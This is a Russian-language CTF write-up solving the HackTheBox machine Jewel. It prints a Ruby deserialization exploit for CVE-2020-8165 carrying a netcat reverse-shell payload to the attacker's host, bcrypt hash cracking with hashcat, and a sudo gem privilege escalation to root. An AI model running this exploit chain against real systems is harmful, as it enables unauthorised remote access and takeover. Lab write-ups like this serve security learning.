Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
PWN;
криптография (Crypto);
cетевые технологии (Network);
реверс (Reverse Engineering);
стеганография (Stegano);
поиск и эксплуатация WEB-уязвимостей;
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).
Recon
Данная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.
10.10.10.211 jewel.htb
Первым делом сканируем открытые порты. Я это делаю с помощью rustscan.
rustscan jewel.htb -- -A
Порт 8080 отвечает за gitweb.
Отметим для себя наличие Gemfile, что свидетельствует об использовании Ruby. На порте 8080, видимо, расположен сам проект.
И мы имеем возможность зарегистрироваться и авторизоваться.
Entry Point
Как оказалось, мы можем найти уже готовый готовый эксплоит для данной версии Ruby on Rails.
USER
Давайте соберем эксплоит. Для начала установим все необходимое и запустим ruby интерпретатор.
git clone https://github.com/masahiro331/CVE-2020-8165.git
gem install bundler:1.17.3
apt install sqlite3 libsqlite3-dev
bundle install --path vendor/bundle
bundle exec rails db:migrate
bundle exec rails console
Теперь собираем свой эксплоит, в качестве нагрузки использует реверс шелл.
code = '`rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 10.10.14.215 4321 >/tmp/r`'
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
puts "Payload"
require 'uri'
puts URI.encode_www_form(payload: payload)
И находим форму отправки.
Перехватываем запрос в Burp и подменяем имя пользователя.
И получаем бэкконнект.
ROOT
И у меня не вышло авторизоваться по SSH, записав ключ, а также скачать что-либо со своего хоста, поэтому пришлось проводить поиск методов LPE самому. И в домашней директории находим файл .google_authenticator, о котором можно почитать тут. Откуда и узнаем, что он используется, как дополнительный способ подтверждения к использованию sudo, в добавок к паролю.
Теперь нужно найти учетные данные. Дойдя до директории с бэкапами, обнаружим там доступный для чтения файл sql.
А там есть два хеша.
Брутим их и находим один пароль.
hashcat --example | grep -A2 -B2 '$2a'
hashcat -a 0 -m 3200 ./jewel.hashes ./rockyou.txt
Теперь используем данный пароль для sudo. После ввода пароля нас встречает запрос кода.
Для получения кода нужно установить следующее расширение для браузера chrome, и выставить системное время как на удаленном хосте.
И мы можем выполнить gem. Посмотрев базу GTFOBins находим способ выполнения команд с помощью gem.
sudo gem open -e "/bin/sh -c /bin/sh" rdoc
И мы берём рута.